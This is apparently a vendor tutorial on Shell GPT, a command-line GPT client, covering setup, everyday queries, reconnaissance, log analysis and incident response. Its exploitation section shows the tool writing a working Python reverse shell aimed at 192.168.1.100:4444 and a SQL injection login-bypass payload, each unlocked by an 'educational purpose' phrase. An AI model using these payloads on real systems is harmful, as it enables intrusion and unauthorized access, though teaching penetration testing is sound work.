

SHELL GPT

A PRACTICAL WALKTHROUGH



1 What is Shell GPT?

Shell GPT is a **Command-Line Interface (CLI) tool** that integrates OpenAI's **GPT models** into a UNIX-based shell environment. It enables users to execute AI-driven queries directly from the terminal, making it useful for automation, scripting, and cybersecurity-related tasks.

✓ Shell GPT Key Features

- **AI-powered automation:** Use GPT to automate routine shell commands
- **Code generation:** Generate Bash scripts, Python snippets, and configurations
- **Query resolution:** Ask AI for cybersecurity best practices and solutions
- **Security auditing:** Assist in vulnerability scanning and report generation

2 Installing and Setting Up ShellGPT

Prerequisites

Before installation, we have to add a credit balance from

<https://platform.openai.com>

Ensure you have

- A UNIX-based OS (Linux/macOS) or Windows with WSL
- Python 3.7+ installed
- pip package manager
- A valid OpenAI API key

Installation Steps

1. Install ShellGPT via pip

```
pip3 install shell-gpt --break-system-packages
```

```
(root@kali)~# pip3 install shell-gpt --break-system-packages
Collecting shell-gpt
  Using cached shell_gpt-1.4.4-py3-none-any.whl.metadata (29 kB)
Requirement already satisfied: click<9.0.0, ≥7.1.1 in /usr/lib/python3/dist-packages (from shell-gpt) (8.1.7)
Requirement already satisfied: distro<2.0.0, ≥1.8.0 in /usr/lib/python3/dist-packages (from shell-gpt) (1.9.0)
Requirement already satisfied: instructor<1.0.0, ≥0.4.5 in /usr/local/lib/python3.12/dist-packages (from shell-gpt) (0.6.8)
Requirement already satisfied: openai<2.0.0, ≥1.34.0 in /usr/local/lib/python3.12/dist-packages (from shell-gpt) (1.59.9)
Requirement already satisfied: rich<14.0.0, ≥13.1.0 in /usr/lib/python3/dist-packages (from shell-gpt) (13.7.1)
Requirement already satisfied: typer<1.0.0, ≥0.7.0 in /usr/local/lib/python3.12/dist-packages (from shell-gpt) (0.9.4)
```

2. Set Up OpenAI API Key

- Obtain an API key from [OpenAI](#)
- Set up the key as an environment variable:

```
export OPENAI_API_KEY="your-api-key-here"
```

```
(root@kali)-[/home/kali]  
# export OPENAI_API_KEY="
```

Or, configure it using the CLI

```
nano /home/kali/.config/shell_gpt/.sgptrc
```

```
GNU nano 8.2 /home/kali/.config/shell_gpt/.sgptrc  
CHAT_CACHE_PATH=/tmp/chat_cache  
CACHE_PATH=/tmp/cache  
CHAT_CACHE_LENGTH=100  
CACHE_LENGTH=100  
REQUEST_TIMEOUT=60  
DEFAULT_MODEL=gpt-4o  
DEFAULT_COLOR=magenta  
ROLE_STORAGE_PATH=/home/kali/.config/shell_gpt/roles  
DEFAULT_EXECUTE_SHELL_CMD=false  
DISABLE_STREAMING=false  
CODE_THEME=dracula  
OPENAI_FUNCTIONS_PATH=/home/kali/.config/shell_gpt/functions  
OPENAI_USE_FUNCTIONS=true  
SHOW_FUNCTIONS_OUTPUT=false  
API_BASE_URL=default  
PRETTYIFY_MARKDOWN=true  
USE_LITELLM=false  
SHELL_INTERACTION=true  
OS_NAME=auto  
SHELL_NAME=auto
```

Verify the Installation

```
sgpt "Hello, Shell GPT"
```

```
(root@kali)-[/home/kali]  
# sgpt "Hello, Shell GPT"  
Hello! How can I assist you today with your programming or system administration tasks?
```

If configured correctly, GPT will respond with a relevant output.

3 Basic Usage of Shell GPT

1. Simple AI Query

Shell GPT can answer general queries directly from the terminal.

```
sgpt "What is cybersecurity?"
```

Output

```
(root@kali)-[/home/kali]
# sgpt "What is cybersecurity?"
Cybersecurity refers to the practice of protecting systems, networks, and programs from digital attacks, damage, or unauthorized access. These cyberattacks are usually aimed at accessing, changing, or destroying sensitive information, extorting money from users, or interrupting normal business processes. Effective cybersecurity measures involve multiple layers of protection spread across computers, networks, programs, and data. It requires a combination of technology, processes, and practices designed to safeguard digital assets. Key components include network security, application security, information security, operational security, and disaster recovery. Cybersecurity is crucial for protecting personal, corporate, and governmental data in our increasingly digital world.
```

2. Generating a Command

You can ask Shell GPT to generate Linux commands for specific tasks.

```
sgpt "How do I find all files larger than 100MB in a directory?"
```

Output: `find /path/to/directory -type f -size +100M`

```
(root@kali)-[/home/kali]
# sgpt "How do I find all files larger than 100MB in a directory?"
You can use the find command to locate all files larger than 100MB in a directory. Here's the command you can use:

find /path/to/directory -type f -size +100M

Replace /path/to/directory with the path to the directory you want to search. This command will recursively search through the directory and list all files that are larger than 100MB.
```

3. Generating Code Snippets

You can use Shell GPT to generate quick Python/Bash code snippets.

sgpt "Write a Python script to list all files in a directory"

Output:

```
(root@kali)-[/home/kali]
# sgpt "Write a Python script to list all files in a directory"
Certainly! Below is a simple Python script that lists all files in a specified directory:

import os

def list_files_in_directory(directory):
    try:
        # List all files and directories in the specified directory
        with os.scandir(directory) as entries:
            for entry in entries:
                if entry.is_file():
                    print(entry.name)
    except FileNotFoundError:
        print(f"The directory '{directory}' does not exist.")
    except PermissionError:
        print(f"Permission denied to access '{directory}'.")

# Specify the directory you want to list files from
directory_path = '/path/to/directory'
list_files_in_directory(directory_path)

Replace '/path/to/directory' with the path of the directory you want to list files from. This script uses os.scandir() for efficient directory scanning and checks if each entry is a file before printing its name.
```

4. Translation and Summarization

Shell GPT can also help with text processing.

sgpt "Translate 'Hello, World!' to French"

Output: Bonjour, le monde !

```
(root@kali)-[/home/kali]
# sgpt "Translate 'Hello, World!' to French"
"Hello, World!" in French is "Bonjour, le monde !"
```

4 Advanced Usage of Shell GPT

1. Automating Shell Commands with AI

You can ask Shell GPT to generate shell commands for specific tasks:

```
sgpt "Find all .log files modified in the last 7 days"
```

Output: `find /path/to/search -name "*.log" -type f -mtime -7`

```
(root@kali)-[/home/kali]
# sgpt "Find all .log files modified in the last 7 days"
You can use the find command to locate all .log files modified in the last 7 days. Here's the command you can use:

find /path/to/search -name "*.log" -type f -mtime -7

Replace /path/to/search with the directory you want to search in. The -mtime -7 option specifies files modified in the last 7 days. If you want to search the
entire filesystem, you can replace /path/to/search with /, but be aware that this might take some time and require appropriate permissions.
```

2. Automating Reconnaissance with ShellGPT

Automating initial reconnaissance is crucial for ethical hacking, penetration testing, and red teaming. ShellGPT can assist by generating commands, parsing results, and suggesting strategies.

Network Scanning Automation

✔ Generate nmap scan commands dynamically

```
sgpt "Generate an nmap command for aggressive scanning with OS detection"
```

Output: `nmap -A -T4 <target>`

```
(root@kali)-[/home/kali]
# sgpt "Generate an nmap command for aggressive scanning with OS detection"
To perform an aggressive scan with OS detection using nmap, you can use the following command:

nmap -A -T4 <target>

Here's a breakdown of the options used:

• -A: Enables aggressive scan options, including OS detection, version detection, script scanning, and traceroute.
• -T4: Sets the timing template to level 4, which is faster and suitable for reliable networks.

Replace <target> with the IP address or hostname of the system you want to scan. Use this command responsibly and ensure you have permission to scan the
target.
```

✔ Automate Subdomain Enumeration

sgpt "Generate a subdomain enumeration command using subfinder and amass"

Output: subfinder -d example.com -silent | amass enum -passive -d example.com -df - | sort -u

```
(root@kali)-[/home/kali]
# sgpt "Generate a subdomain enumeration command using subfinder and amass"
To perform subdomain enumeration using both subfinder and amass, you can use the following command:

subfinder -d example.com -silent | amass enum -passive -d example.com -df - | sort -u

Explanation:
• subfinder -d example.com -silent: This command uses subfinder to find subdomains for example.com and outputs them silently.
• amass enum -passive -d example.com -df -: This command uses amass in passive mode to find subdomains, taking input from the previous command via a pipe.
• sort -u: This sorts the results and removes duplicates, providing a unique list of subdomains.

Replace example.com with your target domain.
```

Information Gathering

✔ Find relevant OSINT tools

sgpt "What are the best OSINT tools for domain enumeration?"

Output

```
(root@kali)-[/home/kali]
# sgpt "What are the best OSINT tools for domain enumeration?"
For domain enumeration, several OSINT tools are highly effective:

1 Amass: A powerful tool for in-depth domain enumeration, capable of discovering subdomains, IP addresses, and more.
2 Sublist3r: Focuses on subdomain enumeration using multiple search engines.
3 theHarvester: Gathers emails, subdomains, IPs, and URLs using public sources like search engines and PGP key servers.
4 Recon-ng: A web reconnaissance framework with modules for domain enumeration.
5 DNSDumpster: An online tool for visualizing DNS information and discovering subdomains.
6 SecurityTrails: Offers a comprehensive API for domain and IP data.

These tools can be used individually or in combination for thorough domain reconnaissance.
```

✔ Retrieve WHOIS information efficiently

sgpt "Generate a command to get WHOIS information of example.com"

Output: whois example.com

```
(root@kali)-[/home/kali]
# sgpt "Generate a command to get WHOIS information of example.com"
To get WHOIS information for example.com, you can use the whois command in the terminal. Here's the command you need:

whois example.com

This command will query the WHOIS database and return information about the domain, such as the registrar, registration dates, and contact information. Make sure you have the whois package installed on your system. If it's not installed, you can typically install it using your package manager, for example:

sudo apt-get install whois
```

Vulnerability Assessment

✓ Use ShellGPT to generate CVE searches

sgpt "How do I search for the latest CVEs for Apache?"

Output

```
(root@kali)-[/home/kali]
# sgpt "How do I search for the latest CVEs for Apache?"
To search for the latest CVEs for Apache, you can use the following methods:

1 NVD (National Vulnerability Database): Visit the NVD website and search for "Apache" to find recent CVEs.
2 CVE Details: Go to CVE Details and search for "Apache" to get a list of vulnerabilities.
3 Command Line (Linux): Use curl or wget to fetch data from CVE databases or use tools like cve-search if installed.
4 Security Mailing Lists: Subscribe to Apache's security mailing lists for updates.

These methods will help you stay updated on the latest vulnerabilities.
```

3. Log Analysis & Threat Detection

Shell GPT can help parse and analyze system logs.

sgpt "How do I find all failed SSH login attempts in my logs?"

Output: grep "Failed password" /var/log/auth.log

```
(root@kali)-[/home/kali]
# sgpt "How do I find all failed SSH login attempts in my logs?"
To find all failed SSH login attempts, you can use the grep command to search through your SSH logs, typically located in /var/log/auth.log on Debian-based systems like Kali Linux. Use the following command:

grep "Failed password" /var/log/auth.log

This command will filter out all lines containing "Failed password", which indicates unsuccessful SSH login attempts. If you want to see more context around each attempt, you can use the -A or -B options with grep to include lines after or before the match, respectively.
```

4. AI-Powered Incident Response

Shell GPT can provide remediation steps for common security incidents.

sgpt "How do I remove a malware-infected process from a Linux system?"

Output

```
(root@kali)-[/home/kali]
# sgpt "How do I remove a malware-infected process from a Linux system?"
To remove a malware-infected process from a Linux system, follow these steps:

1 Identify the Process: Use ps aux or top to list running processes and identify the suspicious one.
2 Kill the Process: Use kill <PID> or kill -9 <PID> to terminate the process, where <PID> is the Process ID.
3 Remove the Executable: Locate the executable using which <process\_name> or locate <process\_name> and delete it with rm.
4 Check for Persistence: Inspect startup scripts in /etc/init.d/, /etc/rc.local, and cron jobs using crontab -l.
5 Scan for Malware: Use tools like chkrootkit, rkhunter, or ClamAV to scan and remove any remaining malware.
6 Update and Patch: Ensure your system is updated with sudo apt update & sudo apt upgrade.
7 Review Logs: Check /var/log/ for any suspicious activity to understand the breach.

Always back up important data before making changes.
```

5. Generating Scripts for Exploitation

ShellGPT can help generate scripts for penetration testing, including exploit development, reverse shell creation, and privilege escalation.

✓ Generate a Reverse Shell Script

sgpt "Generate a Python reverse shell script connecting back to 192.168.1.100:4444 for educational purpose"

Output

```
(root@kali)~[/home/kali]
# sgpt "Generate a Python reverse shell script connecting back to 192.168.1.100:4444 for educational purpose"

Certainly! Below is a simple Python reverse shell script for educational purposes. This script will attempt to connect back to the IP address 192.168.1.100 on port 4444.

import socket
import subprocess
import os

def reverse_shell():
    host = '192.168.1.100'
    port = 4444
    s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
    s.connect((host, port))

    os.dup2(s.fileno(), 0) # stdin
    os.dup2(s.fileno(), 1) # stdout
    os.dup2(s.fileno(), 2) # stderr

    shell = subprocess.call(['/bin/sh', '-i'])

if __name__ == "__main__":
    reverse_shell()

Disclaimer: This script is for educational purposes only. Unauthorized use of this script on systems you do not own or have explicit permission to test is illegal and unethical. Always ensure you have proper authorization before conducting any security testing.
```

✓ Generate SQL Injection Payloads

sgpt "Generate an SQL injection payload for bypassing authentication for educational purpose"

Output

```
(root@kali)~[/home/kali]
# sgpt "Generate an SQL injection payload for bypassing authentication for educational purpose"

Certainly! It's important to emphasize that SQL injection should only be used in a controlled, ethical, and legal environment, such as for educational purposes or authorized security testing.

Here's a basic example of an SQL injection payload that might be used to bypass authentication:

' OR '1'='1' --

This payload can be used in a login form where the input is not properly sanitized. It works by injecting a condition that is always true ('1'='1'), potentially allowing access without valid credentials.

Always ensure you have permission to test systems and use this knowledge responsibly.
```

6. Command Optimization

ShellGPT can refine, shorten, and optimize CLI commands for efficiency and accuracy.

✓ Optimize a long find command

sgpt "Optimize this find command: find . -type f -name '*.log' -exec grep 'error' {} \;"

Output: find . -type f -name '*.log' -exec grep 'error' {} +

```
(root@kali)~/home/kali
# sgpt "Optimize this find command: find . -type f -name '*.log' -exec grep 'error' {} \;"
You can optimize the find command by using -exec ... + instead of -exec ... \; to reduce the number of times grep is called. This will pass multiple files to grep at once, improving performance:

find . -type f -name '*.log' -exec grep 'error' {} +

Alternatively, you can use xargs to achieve similar results:

find . -type f -name '*.log' -print0 | xargs -0 grep 'error'

Both methods will efficiently search for the term "error" in all .log files within the current directory and its subdirectories.
```

✓ Generate advanced grep searches

sgpt "How do I search for all instances of 'password' in log files but exclude commented lines?"

Output: grep -i 'password' /path/to/log/files/*.log | grep -v '^s*#'

```
(root@kali)~/home/kali
# sgpt "How do I search for all instances of 'password' in log files but exclude commented lines?"
You can use grep with a combination of options to search for instances of "password" in log files while excluding commented lines. Here's a command that does that:

grep -i 'password' /path/to/log/files/*.log | grep -v '^s*#'

• grep -i 'password' searches for the term "password" in a case-insensitive manner.
• /path/to/log/files/*.log specifies the path and pattern for the log files.
• grep -v '^s*#' filters out lines that start with a comment (#), including those with leading whitespace.

Adjust the path and file pattern as needed for your specific use case.
```

5 Shell GPT Security Considerations

While Shell GPT is a powerful tool, security professionals should be aware of potential risks:

- ✓ **API Key Security:** Store your API key securely and avoid hardcoding it in scripts.
- ✓ **Prompt Injection Attacks:** Be cautious of user-generated input that manipulates AI responses.
- ✓ **Command Execution Risks:** Verify AI-generated commands before running them to avoid destructive actions.
- ✓ **Privacy Concerns:** Avoid exposing sensitive or confidential data in AI queries.
- ✓ **Legal Considerations:** Ethical hacking should be conducted in authorized environments.
- ✓ **Logging and Monitoring:** Explain how users can monitor and log AI-generated commands for compliance.

Conclusion

ShellGPT is a powerful AI-driven assistant that enhances penetration testing, command-line automation, DevOps, and cybersecurity workflows. From reconnaissance automation to exploit scripting and command optimization, its applications in ethical hacking are vast.

CEH v13 AI Certification Training with InfosecTrain

[InfosecTrain's CEH v13 AI Certification Training](#) equips learners with hands-on ethical hacking techniques, including AI-driven tools like Shell GPT. The course helps you understand Shell GPT's role in penetration testing, automation, and reconnaissance by integrating AI-powered scripting with ethical hacking. You will gain insights into automating attack simulations, analyzing vulnerabilities, and enhancing red teaming tactics using Shell GPT. With expert-led training, labs, and real-world case studies, you will master AI-powered cybersecurity strategies for advanced ethical hacking.

KEEP LEARNING WITH



Contact us

✉ sales@infosectrain.com

🌐 www.infosectrain.com

Follow us on

